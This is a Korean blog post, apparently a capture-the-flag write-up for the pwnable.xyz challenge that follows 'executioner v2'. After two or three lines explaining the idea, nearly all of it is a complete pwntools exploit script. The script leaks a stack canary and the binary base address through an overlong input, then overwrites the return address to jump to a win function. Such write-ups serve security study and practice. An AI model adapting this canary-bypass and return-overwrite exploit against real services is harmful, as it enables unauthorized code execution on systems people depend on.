간단한 canary & code address leak 문제다.
입력받는 문자열은 rbp-0x70 에 들어가는데, 입력할 수 있는 길이의 최대값은 180이므로 (dayadaya 20개 + delimiter 19개) ret를 덮어씌우는 데 충분하다.
입력 길이 제한이 랜덤이므로 주어진 문자열을 보고 타이밍을 잘 맞춰야 한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30027) else : p = process('./challenge') def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def Me() -> bytes : p.readuntil(b'me > ') return p.readline()[:-1] def You(string:bytes) : p.writeafter(b'you > ', string) def YouSaid() -> bytes : p.readuntil(b'said: ') r = p.readuntil(b'score:') f1, f2 = r.find(b'Yay'), r.find(b'I don') if f1 != -1 : return r[:f1] elif f2 != -1 : return r[:f2] else : return None def exploit() : # leak canary while True : s = Me() if len(s) >= 0x69 : You(b'A'*0x69) canary = u64(b'\x00'+YouSaid()[0x69:0x70]) log_info('canary = '+hex(canary)) break else : You(b'A') # leak code base while True : s = Me() if len(s) >= 0x78 : You(b'A'*0x78) binary_base = u64(YouSaid()[0x78:].ljust(8, b'\x00')) - 0x1081 win = binary_base + 0xD30 log_info('binary base: '+hex(binary_base)) log_info('win = '+hex(win)) break else : You(b'A') # overwrite ret while True : s = Me() if len(s) >= 0x80 : You(b'A'*0x68 + p64(canary) + b'A'*8 + p64(win+4)) You(b'exit') break else : You(b'A') p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/10/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / note v2 (0) | 2020.05.01 |
---|---|
pwnable.xyz / executioner v2 (0) | 2020.04.10 |
pwnable.xyz / password (0) | 2020.04.10 |
pwnable.xyz / executioner (0) | 2020.04.09 |
pwnable.xyz / Punch it (0) | 2020.04.09 |